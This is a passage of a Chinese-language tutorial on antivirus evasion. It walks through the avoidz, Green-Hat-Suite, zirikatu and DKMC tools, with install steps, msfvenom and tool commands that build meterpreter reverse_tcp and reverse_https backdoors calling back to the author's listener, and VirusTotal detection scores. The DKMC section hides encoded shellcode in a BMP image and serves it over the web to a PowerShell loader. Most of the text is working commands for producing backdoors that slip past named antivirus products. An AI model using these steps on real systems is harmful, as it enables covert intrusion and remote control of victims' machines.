參考資料
官方使用教程:https://www.youtube.com/watch?v=ZilOByKkrVk
官方使用教程:https://github.com/Green-m/green-hat-suite/wiki/Use-green-hat-suite
Msf&zirikatu免殺結合利用:http://www.secist.com/archives/3113.html
avoidz
介紹
Avoidz是一個比較使用比較簡單的小工具,利用msf生成powershell的shellocde,然後利用c#、python、go、ruby等語言對shellcode進行編譯生成exe而達到免殺的效果,套路比較簡單,但免殺效果還算不錯。
安裝
git clone https://github.com/M4sc3r4n0/avoidz
apt install mingw-w64 #apt安裝源中已經刪除了mingw32,所以只能安裝mingw-w64,之後在做32位的軟鏈接
ln -s /usr/bin/i686-w64-mingw32-gcc /usr/bin/i586-mingw32msvc-gcc #做個軟鏈接,方便軟件識別的到
chmod +x setup.sh
./setup.sh
使用avoidz編譯C#生成exe(VT免殺率37/70)
提供3種C代碼編譯成exe的方式,想了解詳情的可以cat avoidz.rb
查看具體區別
我以第一種爲例進行測試
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1
默認文件生成到root目錄下
可以正常上線
360和火絨都能過靜態,但是動態會報執行powershell,所以powershell這塊的命令執行真的有點難搞
上vt:
過了卡巴,我不是在做夢吧,360都過不了,到時候再裝個卡巴測試一下
python的由於我的環境裝失敗了,就不進行演示了
使用avoidz編譯golang生成exe(VT免殺率16/70)
./avoidz.rb -h 192.168.42.138 -p 3333 -m windows/meterpreter/reverse_tcp -f go
仍然是可以過靜態,但是動態的搞不定
上vt
效果還不錯
小結
avoidz的原理還是比較簡單的,msfvenom生成powershell的shellcode,然後各種語言編譯一下生成exe,靜態檢測查殺率還算可以,但行爲檢測就很容易被查殺出來,和TheFatRat具有相同的缺陷。倒是可以借鑑下他的原理,自己寫個免殺工具。
Green-Hat-Suite免殺(VT免殺率23/70)
介紹
Green-Hat-Suite是國內大佬Green-m
的大作,Green-m
大佬在freebuf和自己博客上https://green-m.me/
寫了很多免殺相關的文章,開始的幾篇文章裏面有一些知識點就是從他那學到的,而且msfvenom命令自動補全腳本也是出自他之手。
Green-Hat-Suite也是和msf無縫對接的免殺工具,使用ruby開發,可在linux/windows上安裝,使用非常簡單,雖然已經接近兩年沒有更新了,但目前來看免殺效果仍然很不錯。
安裝
git clone https://github.com/Green-m/green-hat-suite
apt-get install metasploit-framework
gem install os
apt-get install mingw-w64
apt-get install wine
# 安裝tdm-gcc
TMP=`mktemp /tmp/XXXXXXXXX.exe` && wget https://sourceforge.net/projects/tdm-gcc/files/latest/download -O $TMP && wine $TMP && rm $TMP
windows版本安裝
git clone https://github.com/Green-m/green-hat-suite
在powershell中執行其中的install.ps1
,也是安裝ruby、msf、gcc、mingw-w64這些,作者說比較慢,我沒在windows下安裝,如有需要請自行在windows下安裝測試。
使用
作者提供了使用說明
https://github.com/Green-m/green-hat-suite/wiki/Use-green-hat-suite
使用方法:
ruby greenhat.rb
windows/meterpreter/reverse_tcp
192.168.42.138
3333
沒有過火絨以及360
上vt:
看起來還可以
因爲Green-Hat-Suite使用了多種方式對shellocde進行處理,所以導致每次生成的shellcode都不同,被查殺的概率也不一樣。
小結
Green-Hat-Suite調用了msfvenom進行隨機編碼生成shellcode,然後Green-Hat-Suite對shellcode進行多重免殺處理混淆,並最終編譯生成不同的exe後門文件。雖然原理不算複雜,但兩年前的作品,至今來說免殺效果仍很不錯。
zirikatu免殺(VT免殺率39/71)
介紹
zirikatu是一個用bash編寫的小腳本,依賴於msf、mono、mcs等軟件,也是調用msfvenom生成shellcode,然後將shellcode嵌入C#代碼,試用Mcs編譯生成exe後門。
Mono可以讓.NET程序跨平臺運行在Linux,BSD,Windows,MacOS,Sun Solaris,Wii,索尼PlayStation,蘋果iPhone等幾乎所有常見的操作系統之上。從Mono2.11版本開始,採用的編譯器叫mcs,它的作用是將C#編譯爲CIL(Common Language Infrastructure,通用中間語言,也叫MSIL微軟中間語言,這個語言能運行在所有支持CIL的環境中)
安裝
git clone https://github.com/pasahitz/zirikatu.git
使用說明
chmod +x zirikatu.sh
./zirikatu.sh
選擇了1,之後都是常規操作了
過掉了火絨,但是360先是成功了,過了一段時間又殺掉了,而這段時間我還沒傳vt,估計是扔在沙箱裏面跑出問題了
上vt:
有點慘
小結
zirikatu利用msfvenom生成shellcode,之後再進行一定處理,編譯生成exe。原理比較簡單,操作比較方便,免殺效果相比專題12裏的Green-Hat-Suite來說雖然一般,但能過火絨和瑞星的確有點出人意料。
DKMC免殺(VT免殺率8/55)
介紹
DKMC是Don't Kill My Cat (DKMC)的簡稱,谷歌翻譯爲"不要殺害我的小貓咪",這個名字也是挺少女心的...DKMC是一種生成混淆的shellcode的工具,並把shellcode合成到圖像文件中,最終依靠PowerShell執行最終的shellcode有效負載。
安裝
git clone https://github.com/Mr-Un1k0d3r/DKMC
cd DKMC
mkdir output
使用說明
python dkmc.py
五個選項,翻譯如下
[*] (gen) 將msf的shellcode注入到一個BMP圖像
[*] (web) 啓動web服務用來分發BMP圖像
[*] (ps) 生成ps的payload
[*] (sc) 將msf生成的raw文件轉爲shellcode
[*] (exit) 退出
這幾個選項可不是都能生成payload,而是一起組合來生成免殺的文件。
生成一個後門的流程大體爲:
1、先利用msf生成raw文件
2、利用sc
講raw文件轉換爲shellcode
3、利用gen
將上一步的shellcode注入到一個BMP圖像
4、利用ps
生成基於powershell的BMP文件的payload
5、利用web
提供的簡單web服務進行分發BMP文件
利用DKMC生成後門
先利用Msf生成raw格式的shellcode,稍微編碼了一下
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.42.138 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/DKMC.raw
然後在主菜單裏面選擇sc,然後設置source
爲/root/DKMC.raw
,再執行run
生成shellcode。
複製一下生成的shellcode,輸入exit
退回到主菜單。
然後在主菜單中選擇gen
,然後設置shellcode
爲上一步中生成的shellcode,然後run。
看到生成了output-1581602390.bmp
圖像文件,輸入exit
退回到主菜單。
在主菜單中選擇ps
,設置url地址,這個url地址就是web分發圖像文件的地址。
我的kali虛擬機的地址爲192.168.42.138
,我打算用默認的80端口,這樣我的url地址爲http://192.168.42.138/output-1581602390.bmp
然後設置url:set url http://192.168.42.138/output-1581602390.bmp,然後執行run生成powershell執行腳本
複製一下生成的ps代碼,輸入exit退回到主菜單
最後一步,在主菜單選擇web,使用 run 命令
圖片可以正常打開